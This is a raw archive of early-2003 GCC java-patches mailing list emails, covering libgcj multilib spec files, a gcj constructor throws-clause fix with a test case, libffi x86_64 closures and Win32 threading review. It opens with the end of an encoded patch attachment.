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 TA6BCPaKX/Yu5IpwoSCeE3IA --=-=-= -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer --=-=-=-- From java-patches-return-5936-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 03:25:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19177 invoked by alias); 28 Jan 2003 03:25:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19165 invoked from network); 28 Jan 2003 03:25:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 03:25:14 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA16059; Mon, 27 Jan 2003 20:25:12 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 37EFB4F8073; Mon, 27 Jan 2003 20:19:30 -0700 (MST) To: Alexandre Oliva Cc: Gabriel Dos Reis , Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> <87u1fuyxp4.fsf@fleche.redhat.com> <87ptqiyww3.fsf@fleche.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hello. Just walk along and try NOT to think about your INTESTINES being almost FORTY YARDS LONG!! Date: 27 Jan 2003 20:19:27 -0700 In-Reply-To: Message-ID: <87k7gqyn9c.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Alexandre" == Alexandre Oliva writes: Alexandre> So we had a problem, after all: libgcj.spec is to be Alexandre> installed only in the primary multilib directory. This seems like a potential bug. Suppose some aspect of libgcj configuration depends on the multilib? Offhand I can't think of when it would happen, though, so I guess we can continue to ignore it. Certainly it doesn't happen now. Alexandre> Multilibs will overwrite each other's libgcj.spec, but this Alexandre> is not a problem since we've been using only the Alexandre> libgcj.spec of the default multilib anyway. I assume multilib installs are serialized. Thanks for digging into this. This is one of those odd bits we hope will go away when specs are removed. Tom From java-patches-return-5937-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 06:17:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3172 invoked by alias); 28 Jan 2003 06:17:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3147 invoked from network); 28 Jan 2003 06:17:05 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Jan 2003 06:17:05 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA15167; Mon, 27 Jan 2003 23:17:03 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 262FF4F8073; Mon, 27 Jan 2003 23:11:30 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj front end bug fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: OVER the undertow! UNDER the overpass! Around the FUTURE and BEYOND REPAIR!! Date: 27 Jan 2003 23:11:30 -0700 Message-ID: <87y955yfal.fsf@fleche.redhat.com> Lines: 88 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the 3.3 branch and the trunk. I consider it to be obvious. gcj will fail to give an error if a constructor's throws clause includes a class not derived from Throwable. See the appended test case. Tested on x86 Red Hat Linux 7.3. Tom Index: gcc/java/ChangeLog from Tom Tromey * parse.y (java_check_regular_methods): Check for construct after checking types in throws clause. Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.418 diff -u -r1.418 parse.y --- gcc/java/parse.y 21 Jan 2003 18:51:41 -0000 1.418 +++ gcc/java/parse.y 28 Jan 2003 00:59:41 -0000 @@ -6260,17 +6260,8 @@ if (check_method_redefinition (class, method)) continue; - /* If we see one constructor a mark so we don't generate the - default one. Also skip other verifications: constructors - can't be inherited hence hiden or overriden */ - if (DECL_CONSTRUCTOR_P (method)) - { - saw_constructor = 1; - continue; - } - - /* We verify things thrown by the method. They must inherits from - java.lang.Throwable */ + /* We verify things thrown by the method. They must inherit from + java.lang.Throwable. */ for (mthrows = DECL_FUNCTION_THROWS (method); mthrows; mthrows = TREE_CHAIN (mthrows)) { @@ -6279,6 +6270,15 @@ (TREE_PURPOSE (mthrows), "Class `%s' in `throws' clause must be a subclass of class `java.lang.Throwable'", IDENTIFIER_POINTER (DECL_NAME (TYPE_NAME (TREE_VALUE (mthrows))))); + } + + /* If we see one constructor a mark so we don't generate the + default one. Also skip other verifications: constructors + can't be inherited hence hidden or overridden. */ + if (DECL_CONSTRUCTOR_P (method)) + { + saw_constructor = 1; + continue; } sig = build_java_argument_signature (TREE_TYPE (method)); Index: libjava/testsuite/ChangeLog from Tom Tromey * libjava.compile/consthrow.java: New file. * libjava.compile/consthrow.xfail: New file. Index: libjava/testsuite/libjava.compile/consthrow.java =================================================================== RCS file: libjava/testsuite/libjava.compile/consthrow.java diff -N libjava/testsuite/libjava.compile/consthrow.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.compile/consthrow.java 28 Jan 2003 00:59:42 -0000 @@ -0,0 +1,6 @@ +public class consthrow +{ + public consthrow () throws Object + { + } +} Index: libjava/testsuite/libjava.compile/consthrow.xfail =================================================================== RCS file: libjava/testsuite/libjava.compile/consthrow.xfail diff -N libjava/testsuite/libjava.compile/consthrow.xfail --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.compile/consthrow.xfail 28 Jan 2003 00:59:42 -0000 @@ -0,0 +1,2 @@ +no-link +shouldfail From java-patches-return-5938-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 09:47:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21092 invoked by alias); 28 Jan 2003 09:47:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20543 invoked from network); 28 Jan 2003 09:45:07 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 28 Jan 2003 09:45:07 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-11.rdu.redhat.com [172.16.50.11]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 5287EABAFC; Tue, 28 Jan 2003 09:45:04 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0S9j2L04942; Tue, 28 Jan 2003 09:45:02 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15926.20766.281035.567908@cuddles.cambridge.redhat.com> Date: Tue, 28 Jan 2003 09:45:02 +0000 (GMT) To: Andreas Jaeger Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: Libffi: closures for x86_64 In-Reply-To: References: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> Andreas Jaeger writes: > Andrew Haley writes: > > > This isn't complete -- it doesn't support passing structs or long > > doubles -- but it's enough for Java. > > Thanks! Does it mean we can enable the java interpreter now? I just posted that patch. Andrew. From java-patches-return-5939-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 10:47:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6125 invoked by alias); 28 Jan 2003 10:47:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6116 invoked from network); 28 Jan 2003 10:47:00 -0000 Received: from unknown (HELO Cantor.suse.de) (213.95.15.193) by 172.16.49.205 with SMTP; 28 Jan 2003 10:47:00 -0000 Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136]) by Cantor.suse.de (Postfix) with ESMTP id 36DDB14664 for ; Tue, 28 Jan 2003 11:47:00 +0100 (MET) To: java-patches@gcc.gnu.org Subject: Re: Enable interpreter for x86_64 From: Andreas Jaeger Date: Tue, 28 Jan 2003 11:46:56 +0100 Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) XEmacs/21.4 (Honest Recruiter, x86_64-suse-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Andrew Haley wrote: > Is ours the first Java released for the Hammer processor? > > If that's the case, perhaps we should make an announcement. libffi support for Hammer was not in GCC 3.2, so if we enable the Java interpreter for x86-64 we have for GCC 3.3 the first Java release for the Hammer processor family. I would welcome a news entry on the GCC main side mentioning your and Bo's work on both libffi and libjava. Can you draft up something and send a patch to gcc-patches for this? Thanks, Andreas -- Andreas Jaeger SuSE Labs aj@suse.de private aj@arthur.inka.de http://www.suse.de/~aj From java-patches-return-5940-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 13:13:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18058 invoked by alias); 28 Jan 2003 13:13:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18049 invoked from network); 28 Jan 2003 13:13:15 -0000 Received: from unknown (HELO hotmail.com) (65.54.245.105) by 172.16.49.205 with SMTP; 28 Jan 2003 13:13:15 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 28 Jan 2003 05:13:14 -0800 Received: from 148.87.1.170 by by1fd.bay1.hotmail.msn.com with HTTP; Tue, 28 Jan 2003 13:13:14 GMT X-Originating-IP: [148.87.1.170] From: "Ranjit Mathew" To: hans_boehm@hp.com Cc: adam@megacz.com, java-patches@gcc.gnu.org Bcc: Subject: RE: Patch for Review: PR/9254 and other Win32 Threading Fixes Date: Tue, 28 Jan 2003 18:43:14 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 28 Jan 2003 13:13:14.0698 (UTC) FILETIME=[03F912A0:01C2C6CF] >Doesn't this reset the owner field to zero even for a nested >_Jv_MutexUnlock call? I suspect you need a count field to correctly >maintain the owner field, unless you can somehow get at the one that's >already inside the CriticalSection. Your observation about the potential bug is correct. Sorry! (And Tom would also chide me for not including a "Fixes PR java/9254" in the ChangeLog - Sorry again!) I do not know of a way of getting at the ownership info inside a CriticalSection and I strongly suspect that there isn't any, because the API documentation for LeaveCriticalSection( ) should not then say: "[...]If a thread calls LeaveCriticalSection when it does not have ownership of the specified critical section object, an error occurs that may cause another thread using EnterCriticalSection to wait indefinitely." (http://msdn.microsoft.com/library/en-us/dllproc/base/leavecriticalsection.asp) I will resubmit this patch soon with the above bugs fixed. Ranjit. _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From java-patches-return-5941-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 14:36:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3638 invoked by alias); 28 Jan 2003 14:36:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3620 invoked from network); 28 Jan 2003 14:36:37 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 28 Jan 2003 14:36:37 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=devserv.devel.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dWqq-0006cu-00; Tue, 28 Jan 2003 09:36:36 -0500 Received: (from jakub@localhost) by devserv.devel.redhat.com (8.11.6/8.11.0) id h0SEZZK09014; Tue, 28 Jan 2003 09:35:35 -0500 Date: Tue, 28 Jan 2003 09:35:35 -0500 From: Jakub Jelinek To: Andrew Haley Cc: java-patches@gcc.gnu.org, gcc-patches@gcc.gnu.org Subject: Re: Libffi: closures for x86_64 Message-ID: <20030128093535.I4197@devserv.devel.redhat.com> Reply-To: Jakub Jelinek References: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200301271745.h0RHjNj03409@cuddles.cambridge.redhat.com>; from aph@redhat.com on Mon, Jan 27, 2003 at 05:45:23PM +0000 On Mon, Jan 27, 2003 at 05:45:23PM +0000, Andrew Haley wrote: > + tramp = (unsigned short *) &closure->tramp[0]; > + tramp[0] = 0xbb49; /* mov , %r11d */ ^^^ comment typo The instruction is mov , %r11, not mov , %r11d. > + tramp[5] = 0xba49; /* mov , %r10 */ > + tramp[10] = 0xff49; /* jmp *%r11 */ > + tramp[11] = 0x00e3; > + *(void **) &tramp[1] = ffi_closure_UNIX64; > + *(void **) &tramp[6] = closure; And this is aliasing bug. Jakub From java-patches-return-5942-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 28 14:37:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4500 invoked by alias); 28 Jan 2003 14:37:18 -0000 Mailing-List: contact 